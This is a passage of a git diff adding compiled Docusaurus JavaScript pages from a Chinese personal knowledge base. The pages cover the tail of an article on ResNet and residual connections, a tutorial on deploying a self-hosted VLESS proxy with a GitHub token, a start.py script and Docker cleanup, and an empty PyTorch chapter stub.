\u603b\u7ed3"}),"\n",(0,t.jsx)(e.p,{children:"\u4e0e\u666e\u901a\u7684\u7f51\u7edc\u76f8\u6bd4\uff0cResNet\u6700\u5927\u7684\u4f18\u52bf\u5c31\u662f\u5f15\u5165\u4e86Shortcut\u8fd9\u4e2a\u652f\u8def\uff0c\u8ba9\u67d0\u4e00\u5c42\u53ef\u4ee5\u76f4\u63a5\u8fde\u63a5\u5230\u540e\u9762\u7684\u5c42\uff0c\u4f7f\u5f97\u540e\u9762\u7684\u5c42\u53ef\u4ee5\u76f4\u63a5\u5b66\u4e60\u6b8b\u5dee\u3002\u4f20\u7edf\u7684\u5377\u79ef\u5c42\u6216\u5168\u8fde\u63a5\u5c42\u5728\u4fe1\u606f\u4f20\u9012\u65f6\uff0c\u6216\u591a\u6216\u5c11\u4f1a\u5b58\u5728\u4fe1\u606f\u4e22\u5931\u3001\u635f\u8017\u7b49\u95ee\u9898\u3002ResNet \u5728\u67d0\u79cd\u7a0b\u5ea6\u4e0a\u89e3\u51b3\u4e86\u8fd9\u4e2a\u95ee\u9898\uff0c\u901a\u8fc7\u76f4\u63a5\u5c06\u8f93\u5165\u4fe1\u606f\u7ed5\u9053\u4f20\u5230\u8f93\u51fa\uff0c\u4fdd\u62a4\u4fe1\u606f\u7684\u5b8c\u6574\u6027\uff0c\u6574\u4e2a\u7f51\u7edc\u5219\u53ea\u9700\u8981\u5b66\u4e60\u8f93\u5165\u3001\u8f93\u51fa\u5dee\u522b\u7684\u90a3\u4e00\u90e8\u5206\uff0c\u7b80\u5316\u5b66\u4e60\u76ee\u6807\u548c\u96be\u5ea6\u3002"}),"\n",(0,t.jsx)(e.p,{children:"ResNet\u7684\u51fa\u73b0\uff0c\u5728\u4e00\u5b9a\u7a0b\u5ea6\u4e0a\u89e3\u51b3\u4e86\u5377\u79ef\u795e\u7ecf\u7f51\u7edc\u968f\u6df1\u5ea6\u7684\u589e\u52a0\uff0c\u4f46\u662f\u6a21\u578b\u6548\u679c\u5374\u53d8\u5dee\u7684\u95ee\u9898\uff0c\u7528\u4f5c\u8005\u7684\u8bdd\u8bf4\uff0c\u5c31\u662f: \u201cOur deep residual nets can easily enjoy accuracy gains from greatly increased depth, producing results substantially better than previous networks.\u201d\u3002\u539f\u59cb\u7684ResNet\u5bf9\u4e8e\u8bad\u7ec3\u5377\u79ef\u795e\u7ecf\u7f51\u8def\u505a\u51fa\u4e86\u5f88\u5927\u7684\u8d21\u732e\uff0c\u4f46\u662f\u540c\u6837\u4e5f\u6709\u7740\u8bb8\u591a\u53ef\u4ee5\u6539\u8fdb\u7684\u5730\u65b9\u3002\u968f\u7740\u65f6\u4ee3\u7684\u53d1\u5c55\uff0c\u539f\u7248\u7684ResNet\u5728\u4e00\u6b21\u53c8\u4e00\u6b21\u7684\u7814\u7a76\u4e2d\u5f97\u5230\u4e86\u4e30\u5bcc\u548c\u5b8c\u5584\uff0c\u884d\u751f\u51fa\u4e86\u4e30\u5bcc\u7684\u6539\u8fdb\u7684\u6a21\u578b\uff0c\u5982ResNeXt\u3002\u5b83\u63d0\u51fa\u4e86\u4e00\u79cd\u4ecb\u4e8e\u666e\u901a\u5377\u79ef\u6838\u6df1\u5ea6\u53ef\u5206\u79bb\u5377\u79ef\u7684\u8fd9\u79cd\u7b56\u7565\uff1a\u5206\u7ec4\u5377\u79ef\u3002\u901a\u8fc7\u63a7\u5236\u5206\u7ec4\u7684\u6570\u91cf\uff08\u57fa\u6570\uff09\u6765\u8fbe\u5230\u4e24\u79cd\u7b56\u7565\u7684\u5e73\u8861\u3002\u5206\u7ec4\u5377\u79ef\u7684\u601d\u60f3\u662f\u6e90\u81eaInception\uff0c\u4e0d\u540c\u4e8eInception\u7684\u9700\u8981\u4eba\u5de5\u8bbe\u8ba1\u6bcf\u4e2a\u5206\u652f\uff0cResNeXt\u7684\u6bcf\u4e2a\u5206\u652f\u7684\u62d3\u6251\u7ed3\u6784\u662f\u76f8\u540c\u7684\u3002\u6700\u540e\u518d\u7ed3\u5408\u6b8b\u5dee\u7f51\u7edc\uff0c\u5f97\u5230\u7684\u4fbf\u662f\u6700\u7ec8\u7684ResNeXt\u3002"}),"\n",(0,t.jsx)(e.p,{children:"\u9664\u6b64\u4e4b\u5916\uff0cResNet\u8fd8\u6709\u5176\u5b83\u53d8\u4f53\u5982Wider ResNet\uff0cDarkNet53\u7b49\u3002\u5b83\u4eec\u7684\u6539\u8fdb\u76f8\u5bf9\u8f83\u5927\uff0c\u5c24\u5176\u662fDarkNet53\uff0c\u5b83\u548cResNet\u5df2\u7ecf\u6709\u5f88\u5927\u4e0d\u540c\u4e86\uff0c\u53ea\u662f\u4f7f\u7528\u5230\u4e86\u6b8b\u5dee\u8fde\u63a5\u4ece\u800c\u590d\u7528\u7279\u5f81\u800c\u5df2\u3002\u603b\u800c\u8a00\u4e4b\uff0cResNet\u4f5c\u4e3a\u5377\u79ef\u795e\u7ecf\u7f51\u7edc\u7684\u4e00\u4e2a\u91cc\u7a0b\u7891\u5f0f\u7684\u6a21\u578b\u4e00\u76f4\u5728\u5404\u4e2a\u9886\u57df\u88ab\u5e94\u7528\uff0c\u56e0\u6b64\u6211\u4eec\u5b66\u4e60\u8fd9\u6837\u4e00\u4e2a\u6a21\u578b\u67b6\u6784\u5f88\u6709\u5fc5\u8981\u3002\u6beb\u4e0d\u5938\u5f20\u7684\u8bf4\uff0cResNet\u503c\u5f97\u6bcf\u4e00\u4e2a\u5b66\u4e60\u6df1\u5ea6\u5b66\u4e60\u7684\u5b66\u5b50\u8ba4\u771f\u7814\u7a76\u3002"})]})}function p(n={}){const{wrapper:e}={...(0,i.R)(),...n.components};return e?(0,t.jsx)(e,{...n,children:(0,t.jsx)(d,{...n})}):d(n)}},88723:(n,e,s)=>{s.d(e,{A:()=>l});const l=s.p+"assets/images/shortcut-332ff3aeabe351ba9b4c933bfdebea1f.jpg"}}]); \ No newline at end of file diff --git a/en/assets/js/46c3677d.bf414dc7.js b/en/assets/js/46c3677d.bf414dc7.js new file mode 100644 index 0000000..5602d8a --- /dev/null +++ b/en/assets/js/46c3677d.bf414dc7.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[7963],{7534:(e,s,t)=>{t.d(s,{A:()=>n});const n=t.p+"assets/images/image-20230128193444435-6a6f34a732a6e778e2da6c49e4d1f903.png"},15466:(e,s,t)=>{t.d(s,{A:()=>n});const n=t.p+"assets/images/image-20230126233017504-0348241a3d40094190f033caf96181c0.png"},26362:(e,s,t)=>{t.r(s),t.d(s,{assets:()=>c,contentTitle:()=>d,default:()=>o,frontMatter:()=>r,metadata:()=>n,toc:()=>h});const n=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51-\u81ea\u52a8\u5316","title":"\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51-\u81ea\u52a8\u5316","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/03.\u4ee3\u7406\u7c7b/04.\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51-\u81ea\u52a8\u5316.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/03.\u4ee3\u7406\u7c7b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51-\u81ea\u52a8\u5316","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51-\u81ea\u52a8\u5316","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/03.\u4ee3\u7406\u7c7b/04.\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51-\u81ea\u52a8\u5316.md","tags":[],"version":"current","sidebarPosition":4,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u4f7f\u7528go\u5236\u4f5c\u7b80\u6613\u4ee3\u7406\u7c7b","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u4f7f\u7528go\u5236\u4f5c\u7b80\u6613\u4ee3\u7406\u7c7b"},"next":{"title":"\u57fa\u4e8ecloudflare\u642d\u5efatrojan\u4ee3\u7406","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u57fa\u4e8ecloudflare\u642d\u5efatrojan\u4ee3\u7406"}}');var i=t(74848),l=t(28453);const r={},d="\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51 - \u81ea\u52a8\u5316",c={},h=[{value:"\u524d\u6cbf",id:"\u524d\u6cbf",level:2},{value:"\u51c6\u5907",id:"\u51c6\u5907",level:2},{value:"\u521b\u5efagithub\u4ed3\u5e93",id:"\u521b\u5efagithub\u4ed3\u5e93",level:3},{value:"\u5efa\u7acb\u4ed3\u5e93\uff0c\u70b9\u51fbnew",id:"\u5efa\u7acb\u4ed3\u5e93\u70b9\u51fbnew",level:4},{value:"\u586b\u597d\u540d\u5b57\uff0c\u5e76\u70b9\u51fb Create repository",id:"\u586b\u597d\u540d\u5b57\u5e76\u70b9\u51fb-create-repository",level:4},{value:"\u521b\u5efa\u6210\u529f\u81ea\u52a8\u8df3\u8f6c\uff0c\u4ee3\u8868\u4f60\u6210\u529f\u4e86",id:"\u521b\u5efa\u6210\u529f\u81ea\u52a8\u8df3\u8f6c\u4ee3\u8868\u4f60\u6210\u529f\u4e86",level:4},{value:"\u521b\u5efatoken",id:"\u521b\u5efatoken",level:3},{value:"setting -> Developer settings",id:"setting---developer-settings",level:4},{value:"\u521b\u5efa\u7ecf\u5178\u7684token \u4e0d\u4f1a\u8fc7\u671f",id:"\u521b\u5efa\u7ecf\u5178\u7684token-\u4e0d\u4f1a\u8fc7\u671f",level:4},{value:"\u586b\u597d\uff0c\u521b\u5efa\u5c31\u884c\u4e86",id:"\u586b\u597d\u521b\u5efa\u5c31\u884c\u4e86",level:4},{value:"\u547d\u4ee4",id:"\u547d\u4ee4",level:2},{value:"\u8fd0\u884c\u6210\u529f\u7684\u753b\u9762",id:"\u8fd0\u884c\u6210\u529f\u7684\u753b\u9762",level:2},{value:"\u4e0d\u7528\u4e86\uff0c\u5220\u9664",id:"\u4e0d\u7528\u4e86\u5220\u9664",level:2},{value:"\u5ba2\u6237\u7aef\u9009\u62e9",id:"\u5ba2\u6237\u7aef\u9009\u62e9",level:2}];function a(e){const s={a:"a",blockquote:"blockquote",code:"code",del:"del",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...e.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsxs)(s.table,{children:[(0,i.jsx)(s.thead,{children:(0,i.jsxs)(s.tr,{children:[(0,i.jsx)(s.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(s.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(s.tbody,{children:(0,i.jsxs)(s.tr,{children:[(0,i.jsx)(s.td,{style:{textAlign:"left"},children:(0,i.jsx)(s.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(s.td,{style:{textAlign:"left"},children:"2024-01-12 00:01:36"})]})})]}),"\n",(0,i.jsx)(s.header,{children:(0,i.jsx)(s.h1,{id:"\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51---\u81ea\u52a8\u5316",children:"\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51 - \u81ea\u52a8\u5316"})}),"\n",(0,i.jsx)(s.h2,{id:"\u524d\u6cbf",children:"\u524d\u6cbf"}),"\n",(0,i.jsxs)(s.blockquote,{children:["\n",(0,i.jsxs)(s.p,{children:["\u8fd9\u4e00\u7bc7\u6587\u7ae0\u662f\u6839\u636e ",(0,i.jsx)(s.a,{href:"https://book.wjlin0.com/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/04.%E6%9C%AA%E5%88%86%E7%B1%BB%E7%9A%84/01.%E4%BB%A3%E7%90%86%E7%B1%BB/01.%E5%9F%BA%E4%BA%8Evless%E7%9A%84%E7%A7%91%E5%AD%A6%E4%B8%8A%E7%BD%91.html",children:"\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51"})," \u7684 \u62d3\u5c55 \uff0c\u5982\u679c\u4f60\u6ca1\u770b\u8fc7\u4e5f\u6ca1\u5173\u7cfb \u770b\u8fd9\u4e00\u7bc7\u4e5f\u8db3\u591f\u4e86"]}),"\n"]}),"\n",(0,i.jsx)(s.h2,{id:"\u51c6\u5907",children:"\u51c6\u5907"}),"\n",(0,i.jsxs)(s.ul,{children:["\n",(0,i.jsx)(s.li,{children:"(ubuntu\u3001centos\u90fd\u53ef\u4ee5) vps\u3001\u57df\u540d \uff08\u5982\u679c\u6709\u591a\u53f0vps\u7684\u8bdd\uff0c\u66f4\u6362\u57df\u540d\u540e\uff0c\u8fd0\u884c\u5373\u53ef\u591a\u53f0\u7684\u8282\u70b9\u90fd\u53ef\u4ee5\u6dfb\u52a0\u4e0a\uff09"}),"\n",(0,i.jsxs)(s.li,{children:["\u4e00\u4e2agithub\u4ed3\u5e93\uff08\u516c\u5f00\u7684\uff0c\u975e\u516c\u5f00\u7684\u5e93\u8bbf\u95ee\u56f0\u96be\uff0c",(0,i.jsx)(s.del,{children:"\u6839\u636egithub\u7684API\u53ef\u4ee5\u8bbf\u95ee\u79c1\u5e93\uff0c\u4e0d\u8fc7\u5f97\u914d\u7f6ehttp\u8bf7\u6c42\u5934\uff0c\u6240\u4ee5\u4e0d\u652f\u6301\u7684\u5ba2\u6237\u7aef\u662f\u8bbf\u95ee\u4e0d\u5230\u7684"}),"\uff09\uff0c\u4e00\u4e2agithub\u7684 token"]}),"\n"]}),"\n",(0,i.jsx)(s.h3,{id:"\u521b\u5efagithub\u4ed3\u5e93",children:"\u521b\u5efagithub\u4ed3\u5e93"}),"\n",(0,i.jsx)(s.h4,{id:"\u5efa\u7acb\u4ed3\u5e93\u70b9\u51fbnew",children:"\u5efa\u7acb\u4ed3\u5e93\uff0c\u70b9\u51fbnew"}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20230128193042426",src:t(62356).A+"",width:"1374",height:"255"})}),"\n",(0,i.jsx)(s.h4,{id:"\u586b\u597d\u540d\u5b57\u5e76\u70b9\u51fb-create-repository",children:"\u586b\u597d\u540d\u5b57\uff0c\u5e76\u70b9\u51fb Create repository"}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20230128193352389",src:t(50686).A+"",width:"1093",height:"796"})}),"\n",(0,i.jsx)(s.h4,{id:"\u521b\u5efa\u6210\u529f\u81ea\u52a8\u8df3\u8f6c\u4ee3\u8868\u4f60\u6210\u529f\u4e86",children:"\u521b\u5efa\u6210\u529f\u81ea\u52a8\u8df3\u8f6c\uff0c\u4ee3\u8868\u4f60\u6210\u529f\u4e86"}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20230128193444435",src:t(7534).A+"",width:"1335",height:"530"})}),"\n",(0,i.jsx)(s.h3,{id:"\u521b\u5efatoken",children:"\u521b\u5efatoken"}),"\n",(0,i.jsx)(s.h4,{id:"setting---developer-settings",children:"setting -> Developer settings"}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20230128193751302",src:t(54132).A+"",width:"1479",height:"758"})}),"\n",(0,i.jsx)(s.h4,{id:"\u521b\u5efa\u7ecf\u5178\u7684token-\u4e0d\u4f1a\u8fc7\u671f",children:"\u521b\u5efa\u7ecf\u5178\u7684token \u4e0d\u4f1a\u8fc7\u671f"}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20230128194009339",src:t(52789).A+"",width:"1504",height:"576"})}),"\n",(0,i.jsx)(s.h4,{id:"\u586b\u597d\u521b\u5efa\u5c31\u884c\u4e86",children:"\u586b\u597d\uff0c\u521b\u5efa\u5c31\u884c\u4e86"}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20230128194306255",src:t(34366).A+"",width:"1019",height:"686"})}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20230128194324721",src:t(94982).A+"",width:"1214",height:"710"})}),"\n",(0,i.jsx)(s.h2,{id:"\u547d\u4ee4",children:"\u547d\u4ee4"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{children:"# \u5efa\u7acb\u4e3b\u76ee\u5f55,\u5e76\u8fdb\u5165\u76ee\u5f55\nmkdir /proxy && cd /proxy\n# \u5efa\u7acb\u914d\u7f6e\u6587\u4ef6, \u5e76\u5bfc\u5165\u8bc1\u4e66 \u57df\u540d.key\u3001\u57df\u540d.crt \u81f3 ./conf/ssl/\n# \u590d\u5236\u57df\u540d\u8bc1\u4e66\u5185\u5bb9\u81f3\u6587\u4ef6\u4e2d\nmkdir ./conf/ssl -p\n"})}),"\n",(0,i.jsxs)(s.blockquote,{children:["\n",(0,i.jsxs)(s.p,{children:["\u5bfc\u5165\u811a\u672c\u6587\u4ef6,\u586b\u5199\u76f8\u5173\u53c2\u6570 start.py -> ",(0,i.jsx)(s.a,{href:"https://book.wjlin0.com/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/04.%E6%9C%AA%E5%88%86%E7%B1%BB%E7%9A%84/01.%E4%BB%A3%E7%90%86%E7%B1%BB/start.py",children:"start.py"})]}),"\n",(0,i.jsx)(s.p,{children:"\u8fd0\u884c\uff0c\u6839\u636e \u63d0\u793a\u6392\u9519 \u7b2c\u4e00\u6b21\u5b89\u88c5\u4f1a\u6709\u70b9\u6162"}),"\n"]}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.code,{children:"python3 start.py"})}),"\n",(0,i.jsx)(s.h2,{id:"\u8fd0\u884c\u6210\u529f\u7684\u753b\u9762",children:"\u8fd0\u884c\u6210\u529f\u7684\u753b\u9762"}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20230126233017504",src:t(15466).A+"",width:"1283",height:"298"})}),"\n",(0,i.jsxs)(s.blockquote,{children:["\n",(0,i.jsx)(s.p,{children:"\u7136\u540e\u5bfc\u5165\u8ba2\u9605\u94fe\u63a5\u5373\u53ef"}),"\n"]}),"\n",(0,i.jsx)(s.h2,{id:"\u4e0d\u7528\u4e86\u5220\u9664",children:"\u4e0d\u7528\u4e86\uff0c\u5220\u9664"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{children:"# \u8fdb\u5165\u5230\u76ee\u5f55\u4e2d\ncd /proxy\n# \u505c\u6389docker\u5bb9\u5668\ndocker-compose down\n# \u5220\u9664\u6574\u4e2a\u76ee\u5f55\nrm /proxy -rf\n"})}),"\n",(0,i.jsx)(s.h2,{id:"\u5ba2\u6237\u7aef\u9009\u62e9",children:"\u5ba2\u6237\u7aef\u9009\u62e9"}),"\n",(0,i.jsxs)(s.ul,{children:["\n",(0,i.jsxs)(s.li,{children:["windows\uff1a",(0,i.jsx)(s.a,{href:"https://www.qv2ray.com/",children:"winxray"}),"\u3001",(0,i.jsx)(s.a,{href:"https://github.com/2dust/v2rayN",children:"v2rayN"})]}),"\n",(0,i.jsxs)(s.li,{children:["linux\uff1a",(0,i.jsx)(s.a,{href:"https://v2raya.org/",children:"v2rayA"})]}),"\n",(0,i.jsxs)(s.li,{children:["ios\uff1a",(0,i.jsx)(s.a,{href:"https://shadowrocket.gitbook.io/shadowrocket/help",children:"Shadowrocket"})," # \u8fd9\u4e2a\u8981\u94b1\uff0c\u7f51\u4e0a\u627e\u4e00\u4e0b\u6559\u7a0b"]}),"\n",(0,i.jsxs)(s.li,{children:["\u5b89\u5353\uff1a",(0,i.jsx)(s.a,{href:"https://github.com/2dust/v2rayNG",children:"V2rayNG"})]}),"\n"]})]})}function o(e={}){const{wrapper:s}={...(0,l.R)(),...e.components};return s?(0,i.jsx)(s,{...e,children:(0,i.jsx)(a,{...e})}):a(e)}},28453:(e,s,t)=>{t.d(s,{R:()=>r,x:()=>d});var n=t(96540);const i={},l=n.createContext(i);function r(e){const s=n.useContext(l);return n.useMemo(function(){return"function"==typeof e?e(s):{...s,...e}},[s,e])}function d(e){let s;return s=e.disableParentContext?"function"==typeof e.components?e.components(i):e.components||i:r(e.components),n.createElement(l.Provider,{value:s},e.children)}},34366:(e,s,t)=>{t.d(s,{A:()=>n});const n=t.p+"assets/images/image-20230128194306255-20b76e272d6469d3f76aad1c6f75230f.png"},50686:(e,s,t)=>{t.d(s,{A:()=>n});const n=t.p+"assets/images/image-20230128193352389-30ef2619115a5d7b06eb3c0fc67bd51b.png"},52789:(e,s,t)=>{t.d(s,{A:()=>n});const n=t.p+"assets/images/image-20230128194009339-ea3e403c808b9a17259c327483ef9ae3.png"},54132:(e,s,t)=>{t.d(s,{A:()=>n});const n=t.p+"assets/images/image-20230128193751302-c30181c8fbaed0521128eeb3b4484087.png"},62356:(e,s,t)=>{t.d(s,{A:()=>n});const n=t.p+"assets/images/image-20230128193042426-c96387c5e3e45eb9789c6b9555a2baac.png"},94982:(e,s,t)=>{t.d(s,{A:()=>n});const n=t.p+"assets/images/image-20230128194324721-96ec6c00507a75dd9fbb0fc6b89a4c39.png"}}]); \ No newline at end of file diff --git a/en/assets/js/47928ee3.8e0d156c.js b/en/assets/js/47928ee3.8e0d156c.js new file mode 100644 index 0000000..b096657 --- /dev/null +++ b/en/assets/js/47928ee3.8e0d156c.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[7892],{23792:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>d,default:()=>h,frontMatter:()=>i,metadata:()=>l,toc:()=>o});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.3 \u5e38\u7528\u5305\u7684\u5b66\u4e60","title":"0.3 \u5e38\u7528\u5305\u7684\u5b66\u4e60.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/00.\u7b2c\u96f6\u7ae0/0.3 \u5e38\u7528\u5305\u7684\u5b66\u4e60.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/00.\u7b2c\u96f6\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.3 \u5e38\u7528\u5305\u7684\u5b66\u4e60","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.3 \u5e38\u7528\u5305\u7684\u5b66\u4e60","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/00.\u7b2c\u96f6\u7ae0/0.3 \u5e38\u7528\u5305\u7684\u5b66\u4e60.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"0.2 \u8bc4\u4ef7\u6307\u6807.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.2 \u8bc4\u4ef7\u6307\u6807"},"next":{"title":"0.4 Jupyter\u76f8\u5173\u64cd\u4f5c.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.4 Jupyter\u76f8\u5173\u64cd\u4f5c"}}');var s=n(74848),r=n(28453);const i={},d="0.3 \u5e38\u7528\u5305\u7684\u5b66\u4e60.md",c={},o=[{value:"Numpy",id:"numpy",level:2},{value:"pandas",id:"pandas",level:2},{value:"matplotlib",id:"matplotlib",level:2}];function a(e){const t={h1:"h1",h2:"h2",header:"header",img:"img",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,r.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(t.header,{children:(0,s.jsx)(t.h1,{id:"03-\u5e38\u7528\u5305\u7684\u5b66\u4e60md",children:"0.3 \u5e38\u7528\u5305\u7684\u5b66\u4e60.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:07"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(t.h1,{id:"\u5e38\u7528\u5305\u7684\u5b66\u4e60",children:"\u5e38\u7528\u5305\u7684\u5b66\u4e60"}),"\n",(0,s.jsx)(t.h2,{id:"numpy",children:"Numpy"}),"\n",(0,s.jsx)(t.h2,{id:"pandas",children:"pandas"}),"\n",(0,s.jsx)(t.h2,{id:"matplotlib",children:"matplotlib"})]})}function h(e={}){const{wrapper:t}={...(0,r.R)(),...e.components};return t?(0,s.jsx)(t,{...e,children:(0,s.jsx)(a,{...e})}):a(e)}},28453:(e,t,n)=>{n.d(t,{R:()=>i,x:()=>d});var l=n(96540);const s={},r=l.createContext(s);function i(e){const t=l.useContext(r);return l.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function d(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:i(e.components),l.createElement(r.Provider,{value:t},e.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/4996b2b5.1f1d48ce.js b/en/assets/js/4996b2b5.1f1d48ce.js new file mode 100644 index 0000000..1ee7016 --- /dev/null +++ b/en/assets/js/4996b2b5.1f1d48ce.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[3524],{28453:(e,r,l)=>{l.d(r,{R:()=>s,x:()=>h});var t=l(96540);const n={},c=t.createContext(n);function s(e){const r=t.useContext(c);return t.useMemo(function(){return"function"==typeof e?e(r):{...r,...e}},[r,e])}function h(e){let r;return r=e.disableParentContext?"function"==typeof e.components?e.components(n):e.components||n:s(e.components),t.createElement(c.Provider,{value:r},e.children)}},94530:(e,r,l)=>{l.r(r),l.d(r,{assets:()=>d,contentTitle:()=>h,default:()=>a,frontMatter:()=>s,metadata:()=>t,toc:()=>i});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387","title":"6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0/6.2 